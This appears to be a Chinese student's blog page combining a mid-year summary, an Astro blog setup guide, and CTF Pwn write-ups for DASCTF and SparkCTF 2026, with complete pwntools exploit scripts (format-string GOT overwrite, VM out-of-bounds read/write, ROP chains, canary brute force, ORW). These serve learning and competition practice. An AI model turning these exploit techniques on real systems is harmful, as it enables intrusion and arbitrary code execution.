Joker233's Blog

一个小小的年中总结

Tue, 14 Jul 2026 00:00:00 GMT

累得要死的大一终于结束了，转眼间一年过去，我也要变成老登，去迎接下一批新人了（悲）

那在此也对这一年的学习和工作做个总结吧

竞赛 - Competition#

上学期#

MoeCTF 2025 算是接触到第一个ctf竞赛，在此之前只打过B站某次1024程序员节的活动全是Web题这一块

也算是赶上了AI大肆入侵ctf的时代，靠着一道题一道题的问DeepSeek ，做了不少的密码学和misc，一度在校内排第二

然后又掉下去了

后来想有所突破，想试试一分没得的“二进制漏洞审计”，结果配了半天环境没配好，最后是在校队老大的帮助下才勉强配好了环境

然后就被他忽悠来打pwn了……

花言巧语这一块

我就这么忽悠下一届小登

此后又经过了新生赛NewstarCTF 2025、其他学校的各种新生赛、国赛、N1CTF、阿里CTF等等，也算是初步入门Pwn了

到了下学期，老登大多忙于学业，我们这些被挑选进入主力的小登就得扛起大旗了

Warning

题目艰险😨flag如何拿到🤔硬逆太费心力😔不如AI全自动梭哈🤓Pwn只剩独苗😭谁敢当二进制先锋🤔 文长可敢担太守之责？

Important

有何不敢😡既承Nightu遗志😏怎能困守赛题不前😡嗯嗯嗯~哈！！😡😡我！！😡joker233😡只进不退！！！😡😡若Pwn题十万漏洞当前😡我当为主力尽歼😡👊纵AI全副武装来犯👊👊👊😡我亦可手撕防护为主破题👊😡😡😡👊如鱼饮水joker233在此👋😂😂👊尔等何敢怠战！😡👊😡👊主公有我助力，何忧奖杯难夺？此身调试不懈，只为成夺冠之业😡👊栈堆内核，我有何惧哉？😠我尚未全力一搏，又试问谁能阻挡？😡😡👊队长无需多虑🤫，我定能轻取Flag😤👊

下学期#

经过一个寒假，codex等agent已经发展的比较成熟了，用AI一把梭也慢慢成为ctf竞赛的主要方式

3-4月份的时候，学院组织了校级的计算机能力竞赛

那几天狂出题，最后出了差不多十几道简单的pwn题和一道比较难的全栈Iot

志愿时长吃爽了

后面还参加了一些比较大的比赛，比如御网杯区、defcon 一题没做出来、各种各样的XCTF联赛和外卡赛，也算是累积了一些kernal pwn的经验

学期末的时候参加了国赛的作品赛，但由于准备时间太少，我们的主要成果和报告都是带队老师写的（）伟大

等今年后半年再好好准备一下吧

总结#

我们这一届就挺尴尬的，刚好错过学校战队最强盛的时期，又刚好赶上了传统古法CTF转向AI agent大杀四方的时代

按照现在的趋势，照搬以前的学习路径可能会有不少问题

战队如何在ai浪潮下转型，ctf竞赛的含金量及重要性是否需要重新评估，还有下一届小登的培养方式，这些都是需要在暑假想清楚的问题

当然，自身实力必须到位，毕竟国内的线下赛大多数都是断网的AWD/AWDP和ISW

只是按照现在的出题趋势，古法已经有点不太现实，堆都快变成基础题了，主办方觉得做个kernel就像呼吸一样简单（

暑假 - Go Work！👨‍💻#

科研#

其实算不上科研，只是承包了一个车企正在开发的控制器程序的安全审计工作，主要是对其微信小程序、APP、硬件进行审计和挖掘漏洞 yysy，这是个很好的锻炼逆向能力的机会，CTF毕竟只是竞赛，而真实开发环境的漏洞挖掘才是更有价值的

要是能挖出个CVE那就更好了😍

竞赛#

目前准备要打的比赛就这些：

西湖论剑
NepCTF
MoeCTF
好靶场综合赛
CCF汽车攻防赛

可能还有N1 Junior和XCTF联赛？

还要准备给NewstarCTF 2026出些pwn以及给内部小登出些训练题，事情还是挺多的

训练#

其实主要是针对堆、Kernel和VM虚拟机的训练，尽量在没有AI辅助的情况下把how2heap刷完吧

然后尽量把一些大比赛的Kernel和VM题复现一下

总之，查漏补缺，哪里薄弱补哪里

DASCTF 2026 Pwn方向 WP

Tue, 09 Jun 2026 00:00:00 GMT

这比赛题目质量挺不错的，可惜去品尝御网杯这坨大份了，没来得及打，只能赛后复现了#

孩子们，有生之年不要打御网杯了，简直是PYCC代餐，弥补了没吃上PYCC的遗憾

1、FmtNote#

一道常规思路的fmt，检查安全机制

有Canary的话先泄露，但先别急，如果不涉及修改栈返回地址，也不用去泄露Canary

检查发现没有栈溢出，那纯靠fmt打ret2libc就可以了

exp如下：

1
from pwn import *
2

3
context.arch = "amd64"
4
context.log_level = "info"
5

6
elf = ELF("./pwn", checksec=False)
7
libc = ELF("./libc.so.6", checksec=False)
8
p = process('./pwn')
9
# p = remote('')
10

11

12
def leak_printf(p):
13
    p.recvuntil(b">>> ")
14
    payload = b"%7$s\x00AAA" + p64(elf.got["printf"])
15
    p.send(payload)
16
    data = p.recvuntil(b">>> ", drop=True)
17
    return u64(data[:6].ljust(8, b"\x00"))
18

19
printf_addr = leak_printf(p)
20
libc.address = printf_addr - libc.sym["printf"]
21
system_addr = libc.sym["system"]
22

23
log.info("printf  = %#x", printf_addr)
24
log.info("libc    = %#x", libc.address)
25
log.info("system  = %#x", system_addr)
26

27
payload = fmtstr_payload(6, {elf.got["printf"]: system_addr}, write_size="short")
28
assert len(payload) <= 0x5f
29
p.send(payload)
30

31
p.recvrepeat(0.5)
32
p.sendline(b"/bin/sh")
33
p.interactive()

展开收起

2、TinyVM#

个人感觉很不错的VM pwn入门题，难度适中，完全可以慢慢手搓出来

alt text

给了libc和ld，还是考虑用ret2libc

main代码如下：

1
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
2
{
3
        int nbytes; // [rsp+0h] [rbp-10h] BYREF
4
        int v5; // [rsp+4h] [rbp-Ch]
5
        unsigned __int64 v6; // [rsp+8h] [rbp-8h]
6

7
        v6 = __readfsqword(0x28u);
8
        sub_401276(a1, a2, a3);
9
        memset(&s_, 0, 0x100u);
10
        memset(&s__0, 0, 0x40u);
11
        dword_405400 = 0;
12
        printf("Size: ");
13
        if ( (unsigned int)__isoc99_scanf("%d", &nbytes) == 1 && nbytes > 0 && nbytes <= 512 )
14
        {
15
                getchar();
16
                v5 = read(0, &buf_, nbytes);
17
                if ( v5 > 0 )
18
                {
19
                        sub_401314((unsigned int)v5);
20
                        puts("Done.");
21
                        return 0;
22
                }
23
                else
24
                {
25
                        puts("Failed");
26
                        return 1;
27
                }
28
        }
29
        else
30
        {
31
                puts("Invalid");
32
                return 1;
33
        }
34
}

展开收起

sub_401314是vm主体，这个程序的逻辑可以还原成：

程序先读一个 bytecode 长度。
长度必须满足 0 < size <= 512。
然后把 bytecode 读入全局缓冲区 vm_code
最后调用 vm_run(size) 解释执行

IDA 里可以看到几个关键全局变量相邻分布：

1
0x4050c0  vm_mem       size 0x100
2
0x4051c0  vm_code      size 0x200
3
0x4053c0  vm_regs      size 0x40
4
0x405400  vm_cmp_flag  size 4

也就是：

1
vm_mem  后面紧跟 vm_code
2
vm_code 后面紧跟 vm_regs

VM 一共有 4 个寄存器，编号是 0, 1, 2, 3

每个寄存器占 16 字节：

1
struct vm_reg {
2
    uint32_t is_ptr;
3
    uint32_t padding;
4
    uint64_t value;
5
};

其中：

is_ptr = 0 表示整数
is_ptr = 1 表示指针
value 保存整数值或者指针地址

寄存器检查函数：

1
int vm_check_reg(unsigned int reg) {
2
    if (reg >= 4) {
3
        puts("Bad register");
4
        exit(1);
5
    }
6
    return reg;
7
}

所以 bytecode 里寄存器编号必须是 0..3

VM 指令集#

VM 每次从 vm_code[ip] 取 1 字节 opcode，然后根据 opcode 解析后续操作数

立即数和移动#

`0x10`: MOVI#

格式：

1
0x10 reg imm32

作用：

1
reg.is_ptr = 0;
2
reg.value = sign_extend(imm32);

注意 imm32 会按有符号 32 位扩展成 64 位，所以可以写负数

例如：

1
bytes([0x10, 1]) + p32(-0x98)

表示：

1
r1 = -0x98

`0x11`: MOV#

格式：

1
0x11 dst src

作用：

1
dst = src;

它会复制完整寄存器，包括 is_ptr 标签

算术和位运算#

这些指令不会修改 is_ptr 标签，只会修改 value：

Opcode	格式	作用
`0x20`	`dst, src`	`dst.value += src.value`
`0x21`	`dst, src`	`dst.value -= src.value`
`0x22`	`dst, src`	`dst.value *= src.value`
`0x23`	`dst, src`	`dst.value ^= src.value`
`0x24`	`dst, src`	`dst.value &= src.value`
`0x25`	`dst, src`	`dst.value = src.value`
`0x26`	`dst, src`	`dst.value <<= src.value & 0x3f`
`0x27`	`dst, src`	`dst.value >>= src.value & 0x3f`
`0x28`	`reg`	`reg.value = ~reg.value`
`0x29`	`reg`	`reg.value = -reg.value`

这个设计是漏洞的关键之一

如果一个寄存器本来是指针：

1
r0.is_ptr = 1
2
r0.value = &vm_mem[0]

执行：

1
r0.value += -0xa8

之后 r0.is_ptr 仍然是 1，但 r0.value 已经指向 vm_mem 外面了

比较和跳转#

`0x2a`: CMP#

格式：

1
0x2a a b

作用：

1
if (reg[a].value == reg[b].value)
2
    vm_cmp_flag = 0;
3
else if (reg[a].value >= reg[b].value)
4
    vm_cmp_flag = 1;
5
else
6
    vm_cmp_flag = -1;

跳转指令#

Opcode	格式	作用
`0x70`	`rel16`	无条件相对跳转
`0x71`	`rel16`	`vm_cmp_flag == 0` 时跳转
`0x72`	`rel16`	`vm_cmp_flag != 0` 时跳转

跳转目标会检查是否在 bytecode 范围内

指针和内存操作#

`0x30`: LEA#

格式：

1
0x30 reg off8

作用：

1
reg.is_ptr = 1;
2
reg.value = &vm_mem[off8];

off8 是 1 字节无符号数，所以初始只能构造 vm_mem + 0x00 到 vm_mem + 0xff 之间的指针

`0x31`: LOAD#

格式：

1
0x31 dst ptr_reg

作用：

1
if (ptr_reg.is_ptr != 1)
2
    exit(1);
3

4
dst.is_ptr = 0;
5
dst.value = *(uint64_t *)ptr_reg.value;

它要求源寄存器是指针，但没有检查指针是否还在 vm_mem 范围内

`0x32`: STORE#

格式：

1
0x32 ptr_reg src

作用：

1
if (ptr_reg.is_ptr != 1)
2
    exit(1);
3

4
*(uint64_t *)ptr_reg.value = src.value;

同样，只检查 is_ptr，不检查地址范围

`0x33` / `0x34`: 1 字节读写#

1
0x33 dst ptr_reg   LOAD8
2
0x34 ptr_reg src   STORE8

逻辑和 LOAD / STORE 类似，只是读写 1 字节

输入输出#

`0x40`: PRINT#

格式：

1
0x40 reg

如果寄存器是整数：

1
printf("0x%lx\n", reg.value);

如果寄存器是指针：

1
printf("@%p\n", reg.value);

这个指令可以用来泄露地址。

`0x41`: INPUT#

格式：

1
0x41 reg

作用：

1
fgets(buf, 32, stdin);
2
reg.is_ptr = 0;
3
reg.value = strtoull(buf, NULL, 0);

也就是说，VM 运行过程中可以继续从 stdin 读一行数字

这对利用很方便,我们可以先用 bytecode 泄露 libc 地址，程序继续运行时，再输入计算出来的 system 地址

`0x60`: CALL#

格式：

1
0x60 ptr_reg

作用：

1
if (ptr_reg.is_ptr != 1)
2
    exit(1);
3

4
puts((char *)ptr_reg.value);

从源码逻辑上看，它固定调用 puts,但如果我们提前把 puts@got 改成 system，这里就会变成：

1
system((char *)ptr_reg.value);

利用分析#

合法指针可以通过 LEA 构造：

1
r0 = &vm_mem[0]
2
r0.is_ptr = 1

然后通过算术指令移动指针：

1
r1 = printf@got - vm_mem
2
r0 += r1

执行后：

1
r0.is_ptr = 1
2
r0.value = printf@got

此时 r0 的类型标签仍然是指针，所以 LOAD r2, r0 会通过检查，最终读出：

1
r2.value = *(uint64_t *)printf@got;

直接任意地址读了

那我这么写，不就任意地址写了？

1
r0 = &puts@got
2
r2 = system
3
STORE r0, r2

接下来就是常规的ret2libc 出题人好像很喜欢这个打法

exp如下：

1
#!/usr/bin/env python3
2
from pwn import *
3
import struct
4

5
context.arch = "amd64"
6
context.log_level = "info"
7

8
elf = ELF("./pwn")
9
libc = ELF("./libc.so.6")
10
ld = "./ld-linux-x86-64.so.2"
11

12
VM_MEM = 0x4050C0
13
PRINTF_GOT = 0x405028
14
PUTS_GOT = 0x405018
15

16

17
def s32(value: int) -> bytes:
18
    return struct.pack("<i", value)
19

20

21
def movi(reg: int, imm: int) -> bytes:
22
    return bytes([0x10, reg]) + s32(imm)
23

24

25
def add(dst: int, src: int) -> bytes:
26
    return bytes([0x20, dst, src])
27

28

29
def lea(reg: int, off: int) -> bytes:
30
    return bytes([0x30, reg, off])
31

32

33
def load(dst: int, ptr: int) -> bytes:
34
    return bytes([0x31, dst, ptr])
35

36

37
def store(ptr: int, src: int) -> bytes:
38
    return bytes([0x32, ptr, src])
39

40

41
def print_reg(reg: int) -> bytes:
42
    return bytes([0x40, reg])
43

44

45
def input_reg(reg: int) -> bytes:
46
    return bytes([0x41, reg])
47

48

49
def call_ptr(reg: int) -> bytes:
50
    return bytes([0x60, reg])
51

52

53
def halt() -> bytes:
54
    return b"\xff"
55

56

57
def build_bytecode() -> bytes:
58
    code = b""
59

60
    code += lea(0, 0)
61
    code += movi(1, PRINTF_GOT - VM_MEM)
62
    code += add(0, 1)
63
    code += load(2, 0)
64
    code += print_reg(2)
65

66
    code += lea(0, 0)
67
    code += movi(1, PUTS_GOT - VM_MEM)
68
    code += add(0, 1)
69
    code += input_reg(2)
70
    code += store(0, 2)
71

72
    code += lea(3, 0)
73
    code += input_reg(1)
74
    code += add(3, 1)
75
    code += call_ptr(3)
76

77
    code += halt()
78
    assert len(code) <= 512
79
    return code
80

81

82
p = process("./pwn")
83
# p = remote("", 0)
84

85
code = build_bytecode()
86

87
p.sendlineafter(b"Size: ", str(len(code)).encode())
88
p.send(code)
89

90
p.recvuntil(b"0x")
91
leaked_printf = int(b"0x" + p.recvline().strip(), 16)
92
libc.address = leaked_printf - libc.sym["printf"]
93

94
binsh = next(libc.search(b"/bin/sh\x00"))
95

96
log.info("printf leak = %#x", leaked_printf)
97
log.info("libc base   = %#x", libc.address)
98
log.info("system      = %#x", libc.sym["system"])
99
log.info("/bin/sh     = %#x", binsh)
100

101
p.sendline(hex(libc.sym["system"]).encode())
102
p.sendline(str(binsh - VM_MEM).encode())
103
p.interactive()

展开收起

谈谈迁移到Astro的感受，以及如何0基础快速搭建一个静态博客

Wed, 20 May 2026 00:00:00 GMT

前言#

经历了漫长的考试周后，终于有时间来好好搞一下这个博客了

这段时间断断续续的给配置文件搞个性化配置和一些小功能的开发，后续的功能以后再开发吧

为什么换到Astro？#

静态博客的优势也不赘述了

成本低廉，维护简单，访问速度快，安全性强，离线写作…

相比于老牌的传统框架，如 Hexo、Hugo 等，他们性能优秀，社区庞大且成熟

而 Astro 带来的，则是更加现代化和更加极致的体验

为了更直观地理解它们的区别，这里整理了一张表格：

特性	Astro	Hugo	Hexo
核心语言	JavaScript (Node.js)	Go	JavaScript (Node.js)
加载性能	极佳 (默认零JS, 按需加载)	优秀 (JS 体积小)	良好 (依赖插件和主题)
构建速度	快	极快	一般
开发语法	类 JSX 的 `.astro` 文件	Go 的 `html/template` 语法	EJS, Pug 等多种模板引擎
UI 框架支持	可以混用 React, Vue, Svelte 等	不支持，需手动引入 JS	不支持，需手动引入 JS

尽管如此，Astro 最主要的优势在于其 Astro Islands 架构

传统框架会把整个页面当成一个完整的应用去加载 JS，而 Astro 默认不向浏览器发送任何 JavaScript

只有在需要交互式组件时，才会将其作为一个独立的“岛屿”进行“hydration”

同时，框架自由 使得我们能在 Astro 中使用各种不同的技术，开发出不同的功能；而对于 Markdown 和 MDX 的超强支持，让文章能够包含各种复杂的UI组件，使文章不再单调

一些小问题#

吹完以后，再来说一些小问题（

从动态部署的 Typecho 转到静态网站，最不适应的就是写文章和个性化配置

以前更新文章，可以通过进入网站后台，直接在后台的编辑器上写，写完直接推送

个性化的配置也可以在所使用主题的后台进行配置，相当方便快捷尤其是我花了89买的Handsome主题，心痛啊

现在的话，写完一篇文章还得git推送本来git就用的不多

尤其是知道每次推送构建要消耗 Netlify 额度时，就更不想写了（

我才用了几天啊！

搭建过程#

下文仅陈述我自己的搭建过程

挑选模板#

工欲善其事，必先利其器

挑选一款的好的模板是做blog不得不品的一环啊

目前比较主流的 Astro Blog 模板是 Fuwari

saicaca

fuwari

Waiting for api.github.com...

00K

Waiting...

我目前使用的是基于 Fuwari 二次开发的 Firefly，界面清新，功能较多，很有二次元感觉

CuteLeaf

Firefly

Waiting for api.github.com...

00K

Waiting...

环境部署#

正式部署前，需要在本地配置好开发环境

安装Node.js和创建Astro项目#

Terminal window

1
node -v
2
npm -v

安装时记得勾选**”Add to PATH”**

Terminal window

1
npm create astro@latest

这里随便输个名字，比如my-blog

这里选择blog

后面两项直接选Yes，然后等待构建完成

在相应目录下输入指令，就可以开启生产环境了

Terminal window

1
npm run dev

Note

Windows下需要用 cmd 来运行

简单部署#

如果用现成的模板，比如我现在用的 Firefly ，我们完全可以省略很多步骤

克隆仓库

Terminal window

1
git clone https://github.com/CuteLeaf/Firefly.git
2
cd Firefly

安装依赖

Terminal window

1
pnpm install

启动开发服务器

Terminal window

1
pnpm dev

构建生产版本

Terminal window

1
pnpm build

项目结构#

这是一个基础的项目结构

Terminal window

1
my-blog/
2
├── src/
3
│   ├── pages/           # 路由页面，文件名就是URL
4
│   ├── layouts/         # 布局模板（头部、底部等）
5
│   ├── components/      # 可复用组件（按钮、卡片等）
6
│   └── content/         # 你的Markdown文章存这里
7
├── public/              # 静态资源（图片、字体、favicon）
8
├── astro.config.mjs     # Astro配置文件
9
└── package.json         # 项目依赖

后续的开发和写文章就围绕这个目录进行就可以了

部署上线#

理论上讲，任何的静态部署托管平台都可以，这里我选择的是 Netlify

流程很简单

去 netlify.com 注册账号
点击”Add new site” → “Import an existing project”
连接GitHub，选择你的仓库
构建设置：
- Build command: npm run build
- Publish directory: dist
点击”Deploy”

平台会给一个xxx.netlify.app 的域名，访问测试

当然，如果你有自己的域名，也可以DNS解析到它给你的地址后，用你自己的域名访问

一些小改动#

过渡加载动画#

初次访问网站的时候会出现这个动画

制作了一些小素材，我个人感觉看起来还是挺有神子的风味的（雷元素、狐狸、樱花、轻小说）

1. 加载层 DOM#

1
<div id="site-loading-screen" aria-hidden="true">
2
   <div class="site-loading-dots">
3
      <span class="site-loading-dot">·</span>
4
      <span class="site-loading-dot">·</span>
5
      <span class="site-loading-dot">·</span>
6
      <span class="site-loading-dot">·</span>
7
   </div>
8
</div>

2. 随机替换和淡出逻辑#

1
<script is:inline data-swup-ignore-script define:vars={{ loadingImages }}>
2
   (() => {
3
      const loader = document.getElementById("site-loading-screen");
4
      if (!loader) return;
5

6
      const dots = Array.from(loader.querySelectorAll(".site-loading-dot"));
7
      const availableIndexes = dots.map((_, index) => index);
8
      const availableImages = [...loadingImages];
9
      const reducedMotion = window.matchMedia("(prefers-reduced-motion: reduce)").matches;
10
      const stepDelay = reducedMotion ? 80 : 455;
11
      const fadeDelay = reducedMotion ? 80 : 310;
12
      let currentStep = 0;
13

14
      const pickRandom = (items) => {
15
         const randomIndex = Math.floor(Math.random() * items.length);
16
         return items.splice(randomIndex, 1)[0];
17
      };
18

19
      const finish = () => {
20
         window.setTimeout(() => {
21
            loader.classList.add("is-hiding");
22
            window.setTimeout(() => loader.remove(), reducedMotion ? 120 : 700);
23
         }, fadeDelay);
24
      };
25

26
      const advance = () => {
27
         if (currentStep >= dots.length || availableIndexes.length === 0) {
28
            finish();
29
            return;
30
         }
31

32
         const dotIndex = pickRandom(availableIndexes);
33
         const image = pickRandom(availableImages);
34
         const dot = dots[dotIndex];
35

36
         dot.classList.add("is-image");
37
         dot.textContent = "";
38
         dot.innerHTML = `<img src="${image}" alt="" decoding="async" />`;
39

40
         currentStep += 1;
41
         currentStep >= dots.length ? finish() : window.setTimeout(advance, stepDelay);
42
      };
43

44
      window.setTimeout(advance, reducedMotion ? 40 : 250);
45
   })();
46
</script>

展开收起

3. 遮罩和淡出样式#

1
#site-loading-screen {
2
   position: fixed;
3
   inset: 0;
4
   z-index: 2147483647;
5
   display: grid;
6
   place-items: center;
7
   backdrop-filter: blur(18px) saturate(1.25);
8
   -webkit-backdrop-filter: blur(18px) saturate(1.25);
9
   transition: opacity 650ms ease, backdrop-filter 650ms ease;
10
}
11

12
#site-loading-screen.is-hiding {
13
   opacity: 0;
14
   backdrop-filter: blur(0) saturate(1);
15
   -webkit-backdrop-filter: blur(0) saturate(1);
16
   pointer-events: none;
17
}

展开收起

4. 点位布局和入场动画#

1
.site-loading-dots {
2
   display: grid;
3
   grid-template-columns: repeat(4, 7.6rem);
4
   gap: 1.25rem;
5
}
6

7
.site-loading-dot {
8
   display: grid;
9
   width: 8.75rem;
10
   height: 8.75rem;
11
   place-items: center;
12
   font-size: 4.85rem;
13
}
14

15
.site-loading-dot.is-image {
16
   animation: loading-dot-pop 220ms cubic-bezier(0.2, 0.9, 0.35, 1.25) both;
17
}
18

19
.site-loading-dot img {
20
   width: 100%;
21
   height: 100%;
22
   object-fit: contain;
23
}
24

25
@keyframes loading-dot-pop {
26
   from {
27
      opacity: 0;
28
      transform: rotate(-60deg) scale(0.76);
29
   }
30
   68% {
31
      opacity: 1;
32
      transform: rotate(30deg) scale(1.07);
33
   }
34
   to {
35
      opacity: 1;
36
      transform: rotate(0deg) scale(1);
37
   }
38
}

展开收起

后续打算#

上方导航栏可能会添加一个**“应用”**界面，主要放一些实用的小工具和自己的其他网站

后续可能还会再加一些其他的功能性装饰吧，让主题更契合八重堂这个主题

优化和SEO后面再搞

SparkCTF 2026 WP——Pwn部分

Tue, 24 Feb 2026 00:00:00 GMT

1、as a pwner#

Note

作为一个 pwner ，你一定知道 libc 是做什么的。

一道 ret2libc 的签到题

请输入图片描述

exp如下：

1
from pwn import *
2
context.log_level = 'debug'
3
context.arch = 'amd64'
4
# p = process('./pwn')
5
p = remote('yaemiko.node.bxs.team', 50257)
6
elf = ELF('./pwn')
7
libc = ELF('./libc.so.6')
8

9
system = libc.symbols['system']
10
binsh = next(libc.search(b'/bin/sh'))
11
ret = 0x40101a
12
pop_rdi = 0x40123d
13
puts_plt = elf.plt['puts']
14
puts_got = elf.got['puts']
15
main = 0x401206
16

17
p.recvuntil(b'libc:')
18
payload1 = b'A' * 0x108 + p64(ret) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
19
p.sendline(payload1)
20
p.recvuntil(b'Thank you\n')
21

22
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
23
log.info(f'leak: {hex(leak)}')
24
libc_base = leak - libc.symbols['puts']
25
log.info(f'libc_base: {hex(libc_base)}')
26
system = libc_base + system
27
binsh = libc_base + binsh
28
log.info(f'system: {hex(system)}')
29
log.info(f'binsh: {hex(binsh)}')
30

31
p.recvuntil(b'libc:')
32
payload2 = b'A' * 0x108 + p64(pop_rdi) + p64(binsh) + p64(system)
33
p.sendline(payload2)
34

35
p.interactive()

展开收起

2、hacker#

Note

看起来很安全呢

hacker 函数

请输入图片描述

有一个OOB漏洞，没有检查下界，于是可以直接任意地址写

arr 起始是 [rbp-0x60]，每个元素 8 字节

slot 0 -> [rbp-0x60]（arr[0]）
…
slot 9 -> [rbp-0x18]（arr[9]）
slot 10 -> [rbp-0x10]
slot 11 -> [rbp-0x8]（canary）
slot 12 -> [rbp+0x0]（saved rbp）
slot 13 -> [rbp+0x8]（saved RIP）
slot 14+ -> 后续 ROP 链

我们直接从 slot=13 开始写，避免破坏 canary

因为只有一次 hacker()，但有 10 次写入，足够构造 ROP

后续可以打ret2libc，也可以直接ret2text

exp如下：

1
from pwn import *
2

3
context.log_level = "debug"
4
context.arch = "amd64"
5

6
# p = process("./pwn")
7
p = remote("yaemiko.node.bxs.team", 50403)
8
elf = ELF("./pwn")
9
libc = ELF("./libc.so.6")
10

11
ret = 0x400631
12
pop_rdi = 0x400A33
13
puts_plt = elf.plt["puts"]
14
puts_got = elf.got["puts"]
15
main = elf.symbols["main"]
16

17
idx = lambda slot: slot - (1 << 63)
18

19
p.sendlineafter(b"Enter administrator's name:", b"admin")
20
writes1 = [
21
    (idx(13), ret),
22
    (idx(14), pop_rdi),
23
    (idx(15), puts_got),
24
    (idx(16), puts_plt),
25
    (idx(17), ret),
26
    (idx(18), main),
27
]
28
writes1 += [(0, 0)] * (10 - len(writes1))
29
for i, v in writes1:
30
    p.sendlineafter(b"Enter hacker index:", str(i).encode())
31
    p.sendlineafter(b"Enter hacker age:", str(v).encode())
32

33
p.recvuntil(b"Now let's see your creation:'\n")
34
p.recvuntil(b"0 0 0 0 0 0 0 0 0 0 ")
35
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
36
log.info(f"leak: {hex(leak)}")
37

38
libc_base = leak - libc.symbols["puts"]
39
log.info(f"libc_base: {hex(libc_base)}")
40
system = libc_base + libc.symbols["system"]
41
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
42
exit_ = libc_base + libc.symbols["exit"]
43
log.info(f"system: {hex(system)}")
44
log.info(f"binsh: {hex(binsh)}")
45

46
p.sendlineafter(b"Enter administrator's name:", b"admin2")
47
writes2 = [
48
    (idx(13), ret),
49
    (idx(14), pop_rdi),
50
    (idx(15), binsh),
51
    (idx(16), system),
52
    (idx(17), exit_),
53
]
54
writes2 += [(0, 0)] * (10 - len(writes2))
55
for i, v in writes2:
56
    p.sendlineafter(b"Enter hacker index:", str(i).encode())
57
    p.sendlineafter(b"Enter hacker age:", str(v).encode())
58

59
p.interactive()

展开收起

3、stack#

Note

永劫轮回

请输入图片描述

main函数：

请输入图片描述

泄露了 hint 的真实地址，于是可以得到PIE基址

leak - hint_offset = PIE_base

检查通过，进入 reincarnation

检查一下沙箱

请输入图片描述

系统调用被禁用，看来基本上是一道ORW读flag

看看 reincarnation

请输入图片描述

有一个fork，可以用来爆破Canary

overflow 函数：

1
char buf[0x20];
2
read(0, buf, 0x50);

栈布局（从 buf 起算）：

到 canary 偏移：0x18
canary：8 字节
saved rbp：8 字节
return address：8 字节

read 读 0x50，足够覆盖返回地址，但存在 canary 检查

单次溢出只能 0x50，不够塞完整 ORW ROP，所以可以先构造短链，把执行流跳到 small_overflow+0x20，复用函数内部 read，并提前把 rdx 改成 0x400

后续再进行一次栈迁移就可以布置 ORW ROP 了

exp：

1
#!/usr/bin/env python3
2
from pwn import *
3
import re
4

5
context.log_level = "debug"
6
context.arch = "amd64"
7

8
p = remote("minori.node.bxs.team", 51774)
9

10
elf = ELF("./pwn")
11
libc = ELF("./libc.so.6")
12
context.binary = elf
13

14
OFFSET = 0x18
15
HINT = 0x14F1
16
READ_STAGE = 0x1547
17
POP_RAX = 0x1517
18
POP_RDI = 0x1519
19
POP_RSI_R15 = 0x151B
20
POP_RDX = 0x151F
21
SYSCALL = 0x1521
22
FAKE_RBP = 0x7000
23

24
data = p.recvuntil(b"prefix): ")
25
leak = int(re.search(rb"0x[0-9a-fA-F]+", data).group(), 16)
26
pie_base = leak - HINT
27
log.info(f"leak: {hex(leak)}")
28
log.info(f"pie_base: {hex(pie_base)}")
29
p.sendline(hex(pie_base)[2:].encode())
30

31
p.recvuntil(b"Hello Hacker!\n")
32

33
canary = b"\x00"
34
for i in range(1, 8):
35
    for guess in range(0x100):
36
        payload = b"A" * OFFSET + canary + p8(guess)
37
        p.send(payload)
38
        out = p.recvuntil(b"Hello Hacker!\n", timeout=1)
39
        if b"stack smashing detected" not in out:
40
            canary += p8(guess)
41
            log.success(f"canary[{i}] = {guess:02x}")
42
            break
43
    else:
44
        raise ValueError(f"canary brute force failed at byte {i}")
45
log.success(f"canary: {canary.hex()}")
46

47
fake_rbp = pie_base + FAKE_RBP
48
path_addr = fake_rbp + 0x300
49
buf_addr = fake_rbp + 0x340
50

51
pop_rax = pie_base + POP_RAX
52
pop_rdi = pie_base + POP_RDI
53
pop_rsi_r15 = pie_base + POP_RSI_R15
54
pop_rdx = pie_base + POP_RDX
55
syscall = pie_base + SYSCALL
56
read_stage = pie_base + READ_STAGE
57

58
payload1 = flat(
59
    b"A" * OFFSET,
60
    canary,
61
    p64(fake_rbp),
62
    p64(pop_rdx),
63
    p64(0x400),
64
    p64(read_stage),
65
).ljust(0x50, b"\x00")
66

67
rop = flat(
68
    p64(pop_rax),
69
    p64(3),
70
    p64(pop_rdi),
71
    p64(0),
72
    p64(syscall),
73
    p64(pop_rax),
74
    p64(2),
75
    p64(pop_rdi),
76
    p64(path_addr),
77
    p64(pop_rsi_r15),
78
    p64(0),
79
    p64(0),
80
    p64(pop_rdx),
81
    p64(0),
82
    p64(syscall),
83
    p64(pop_rax),
84
    p64(0),
85
    p64(pop_rdi),
86
    p64(0),
87
    p64(pop_rsi_r15),
88
    p64(buf_addr),
89
    p64(0),
90
    p64(pop_rdx),
91
    p64(0x80),
92
    p64(syscall),
93
    p64(pop_rax),
94
    p64(1),
95
    p64(pop_rdi),
96
    p64(1),
97
    p64(pop_rsi_r15),
98
    p64(buf_addr),
99
    p64(0),
100
    p64(pop_rdx),
101
    p64(0x80),
102
    p64(syscall),
103
    p64(pop_rax),
104
    p64(60),
105
    p64(pop_rdi),
106
    p64(0),
107
    p64(syscall),
108
)
109

110
payload2 = flat(
111
    b"B" * OFFSET,
112
    canary,
113
    p64(fake_rbp),
114
    rop,
115
)
116
payload2 = payload2.ljust(0x320, b"\x00") + b"./flag\x00"
117
payload2 = payload2.ljust(0x400, b"\x00")
118

119
p.send(payload1 + payload2)
120
p.interactive()

展开收起

4、ctx#

Note

context？

请输入图片描述

win函数：

请输入图片描述

main函数：

请输入图片描述

程序核心调用了 getcontext/setcontext，这是本题利用入口，应该是 setcontext 上下文劫持 题型

先把合法上下文写入 buf+0x40

再把用户输入写到 buf（从 buf+0x0 开始）

因为读入 0x100 字节，所以会覆盖 buf+0x40 处 ucontext 的前 0xc0 字节

setcontext 使用被我们篡改的寄存器状态，达到控制 RIP/RSP 的效果

第一次做这种类型的题，顺便写点笔记

Tip

Linux/glibc 里的 setcontext() 是用户态上下文切换函数，和 getcontext()/makecontext()/swapcontext() 一套。ucontext_t 里至少包含：

uc_sigmask（信号掩码）
uc_stack（栈）
uc_mcontext（机器寄存器上下文）

setcontext() 成功后不会返回，它会恢复你给它的上下文继续执行

在 glibc x86_64 的 setcontext.S 里，可以看到它会从你提供的上下文里至少恢复这些关键值：

rsp
rbx/rbp/r12-r15（被调用者保存寄存器）
